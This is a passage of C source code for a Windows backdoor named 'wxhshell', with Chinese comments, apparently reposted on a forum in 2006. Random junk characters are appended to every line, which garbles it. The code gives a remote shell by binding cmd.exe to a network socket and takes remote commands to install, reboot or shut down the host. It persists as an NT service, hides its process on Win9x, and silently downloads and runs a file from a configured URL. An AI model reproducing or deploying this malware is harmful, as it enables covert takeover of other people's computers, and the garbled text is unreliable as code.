  BLdvyVFx  
  // 帮助 %6,SKg p  
  case '?': { Id'-&tYG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z&)A,ryW0  
    break; 29"'K.r  
  } DB|Y  
  // 安装 KnQ*vM*VM  
  case 'i': { |Nn)m  
    if(Install()) J.b9F:&}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Bp.RXsd*  
    else QB uMJm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Su7?;Oh/yI  
    break; ~O0 $Suv  
    }  hoUD;3  
  // 卸载 I\{ 1u  
  case 'r': { Egp/f|y  
    if(Uninstall()) /QWvW=F2<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8d{q)JZ  
    else c /HHy,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =_2jK0+}l  
    break; @Z %ivR:  
    } mbxZL<ua  
  // 显示 wxhshell 所在路径 D6Ui!  
  case 'p': { TH&U j1  
    char svExeFile[MAX_PATH]; ]"hFC<w  
    strcpy(svExeFile,"\n\r"); KNvZm;Q6  
      strcat(svExeFile,ExeFile); kR-SE5`Jk  
        send(wsh,svExeFile,strlen(svExeFile),0); 3vN_p$  
    break; Lv;^My  
    } ]Ji.Zk  
  // 重启 X ::JV7hu  
  case 'b': { feDlH[$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H?vdr:WlTN  
    if(Boot(REBOOT)) x.!V^HQSN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QvlObEhcS  
    else { Bi3<7  
    closesocket(wsh); {OkV%Q<  
    ExitThread(0); %~H-)_d20  
    } yy^q2P  
    break; {9&;Q|D z  
    } W.f/pu  
  // 关机 &tLgG4pd  
  case 'd': { (&F}/s gbi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x:NY\._  
    if(Boot(SHUTDOWN)) |^"1{7)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WdH$JTk1  
    else { {l1.2!  
    closesocket(wsh); .PIL +x*]N  
    ExitThread(0); NdA[C|_8}f  
    } pHXm>gTd,J  
    break; ~*&H$6NJS  
    } VK\X&Y3l  
  // 获取shell HSE!x_$  
  case 's': { *k(XW_>  
    CmdShell(wsh); S}m)OmrmA  
    closesocket(wsh); h,u, ^ r  
    ExitThread(0); <sGVR5NR  
    break; / |;RV"  
  } Ct<udO  
  // 退出 ]3],r?-tJ  
  case 'x': {  9X+V4xux  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); shy-Gu&  
    CloseIt(wsh); ,*TmIPNK  
    break; F4-$~ v@  
    } hB]Np1('  
  // 离开 ok"k*?Ov  
  case 'q': { j ?3wvw6T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hP%M?MKC  
    closesocket(wsh); g#pr yYz  
    WSACleanup(); ~]IOK$1F%  
    exit(1);  c(f  
    break; ;C9_?u~#  
        } x*\Y)9Vgy  
  } #>("CAB02T  
  } Hh3X \  
9IdA%RM~mH  
  // 提示信息 <y('hI'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y4 #>X  
} d=$Mim  
  } j;+b0(53  
@|Cz-J;D  
  return; 2. NN8PPD"  
}  L^/5ux  
g]l'' 7G  
// shell模块句柄 cN-?l7  
int CmdShell(SOCKET sock) i(rL|d+'  
{ >;aWz%-  
STARTUPINFO si; z3{G9Np  
ZeroMemory(&si,sizeof(si)); n:I,PS0H<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q5J5>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gt8M&S-;  
PROCESS_INFORMATION ProcessInfo; xjUT{iwS  
char cmdline[]="cmd"; o=:9y-nH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7J D' )  
  return 0; ?8H8O %Z8  
} G/y5H;<9M  
]!W=^!  
// 自身启动模式 A_"w^E{P  
int StartFromService(void) &)# ihK_  
{ niMsQ  
typedef struct /e5O"@  
{ :[.vM  
  DWORD ExitStatus; IEL%!RFG  
  DWORD PebBaseAddress; 6fE7W>la  
  DWORD AffinityMask; Di,^%  
  DWORD BasePriority; P8OaoPj  
  ULONG UniqueProcessId; M~Tuj1?  
  ULONG InheritedFromUniqueProcessId; f <Zxz9  
}   PROCESS_BASIC_INFORMATION; PV.X z0@R  
H*?t^  
PROCNTQSIP NtQueryInformationProcess; Ea=8}6`s  
D=A&+6B@-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XAD- 'i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wyH[x!QX  
9R!atPz9  
  HANDLE             hProcess; 1 fp?  
  PROCESS_BASIC_INFORMATION pbi; F$y$'Rzu_B  
)J o: pkM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F>SRs=_  
  if(NULL == hInst ) return 0; Co9^OF-k  
;>%r9pz ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rK 8lBy:<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XW 2b|%T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |"q5sym8Y_  
{LI=:xJJv  
  if (!NtQueryInformationProcess) return 0; rm'SOJVA  
]6k\)#%2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f=+mIZ  
  if(!hProcess) return 0; JMCKcZ%N  
ydEoC$?0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xWH.^o,"  
?.m bK  
  CloseHandle(hProcess); % "i(K@  
<q58uuK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^`i#$  
if(hProcess==NULL) return 0; ^x]r`b  
(q/e1L-S  
HMODULE hMod; do hA0  
char procName[255]; #H&|*lr  
unsigned long cbNeeded; xJpA0_xfG  
?d\N(s9F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `{@8Vsmy:  
''cInTCr  
  CloseHandle(hProcess); d"1]4.c  
ql Ax  
if(strstr(procName,"services")) return 1; // 以服务启动 J/`<!$<c  
RXMISt3+{y  
  return 0; // 注册表启动 Gq)]s'r2  
} j<m(PHSe  
olB.*#gA  
// 主模块 )N{Pw$l_  
int StartWxhshell(LPSTR lpCmdLine) G{~J|{t\yz  
{ (Bb5?fw  
  SOCKET wsl; EmWn%eMN  
BOOL val=TRUE; AG nxYV"p  
  int port=0; f3l&3hC  
  struct sockaddr_in door; P7bMIe  
Bpo4?nCl}  
  if(wscfg.ws_autoins) Install(); 5:[0z5Hww  
[C 7^r3w  
port=atoi(lpCmdLine); e-/&$Qq  
](]i 'fE>  
if(port<=0) port=wscfg.ws_port; y-pJF{ R  
n: ^ d|@  
  WSADATA data; *->W^1eGM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C\3rJy(VJ  
FW;?s+Uyx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] Jg&VXrH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {_"<1C  
  door.sin_family = AF_INET; HQ_Ok `  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^rR1ZVY  
  door.sin_port = htons(port); v |,1[i{  
_#E0g'3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :wyno#8`-  
closesocket(wsl); Vi$~-6n&  
return 1; i$"F{|Z0  
} UBU=9a5  
tyDU @M  
  if(listen(wsl,2) == INVALID_SOCKET) { h|9L5  
closesocket(wsl);  R Z?jJm$  
return 1; Xh"n]TK  
} .[KrlfI  
  Wxhshell(wsl); m]0;"jeL  
  WSACleanup(); A/$QaB,x  
J$DE"| -  
return 0; ;W )Y OT  
ij`w} V  
} ea2ayT  
9Q^r O26+  
// 以NT服务方式启动 K=Z|/Kkh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )gUR@V>e2  
{ A1$TXr  
DWORD   status = 0; \A#41  
  DWORD   specificError = 0xfffffff; \~mT] '5  
LKB$,pR~1l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y=?3 js?O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;u ({\K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,.8KN<A2]'  
  serviceStatus.dwWin32ExitCode     = 0; vzAaxk%  
  serviceStatus.dwServiceSpecificExitCode = 0; qH>d  
  serviceStatus.dwCheckPoint       = 0; oUlY?x1  
  serviceStatus.dwWaitHint       = 0; @ CL{D:d  
|$Sedzj'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N7zft  
  if (hServiceStatusHandle==0) return; ?pmHFlx  
a$OE0zn`  
status = GetLastError(); X=&ET)8-Y  
  if (status!=NO_ERROR) [=q1T3  
{ {*" |#6-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1W LXM^ 4  
    serviceStatus.dwCheckPoint       = 0; !sP {gi#=  
    serviceStatus.dwWaitHint       = 0; wH&!W~M  
    serviceStatus.dwWin32ExitCode     = status; *I.f1lz%*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ORw,)l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `cUl7 'j  
    return; AM\'RHL  
  } cd_yzpL@}J  
:J@ gmY:C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V!A~K   
  serviceStatus.dwCheckPoint       = 0; `5.'_3  
  serviceStatus.dwWaitHint       = 0; z'n:@E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b94DJzL1z  
} $szqy?i 0?  
5r|,CQ7o  
// 处理NT服务事件,比如:启动、停止 OX!tsARC@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n5NsmVW\x  
{ hd<c&7|G'  
switch(fdwControl) }@+0/W?\.  
{ YnAm{YyI  
case SERVICE_CONTROL_STOP: 5coyr`7mP  
  serviceStatus.dwWin32ExitCode = 0; VA_PvL.9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }!r|1$,kL  
  serviceStatus.dwCheckPoint   = 0; <{cQM$ #  
  serviceStatus.dwWaitHint     = 0; \'D0'\:vz  
  { @o _}g !9=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mR:uj2*  
  } HyZqUb Ha  
  return; ZhaP2pC%4  
case SERVICE_CONTROL_PAUSE: v>)"HL"XG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *)T^Ch D,  
  break; #OD/$f_  
case SERVICE_CONTROL_CONTINUE: ,m:.-iy?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WPMSm<[  
  break; )9`qG:b'  
case SERVICE_CONTROL_INTERROGATE: KL57# gV  
  break; h(_57O:  
}; ;:g@zAV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E A1?)|}n  
} M`!H"R7  
)23H1  
// 标准应用程序主函数 l'.VKh\C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "(~^w=d:$  
{ cf20.F{<  
/>pI8 g<  
// 获取操作系统版本 K`zdc`/  
OsIsNt=GetOsVer(); m@v\(rT.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k"zv~`i'  
)U:m:cr<  
  // 从命令行安装 &.Qrs :U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'XjZ_ng  
dOH &  
  // 下载执行文件 |FZ/[9*  
if(wscfg.ws_downexe) { @9RM9zK.q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {qJ1ko)$  
  WinExec(wscfg.ws_filenam,SW_HIDE); G@X% +$I  
} 051 E6-  
|{NYkw  
if(!OsIsNt) { oQVgyj.  
// 如果时win9x,隐藏进程并且设置为注册表启动 :bq8N@P/  
HideProc(); Hd ={CFip  
StartWxhshell(lpCmdLine); A[{yCn`tM  
} u^I|T.w<r6  
else j-}O0~Jz  
  if(StartFromService()) 29] G^f>  
  // 以服务方式启动 e2oa($9  
  StartServiceCtrlDispatcher(DispatchTable); oY3;.;'bk  
else fxHH;hRfv  
  // 普通方式启动 0 ZKx<]!  
  StartWxhshell(lpCmdLine); $Sip$\+*  
Vv=. -&'  
return 0; |3"KK  
}
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只看该作者 1 发表于: 2006-10-10
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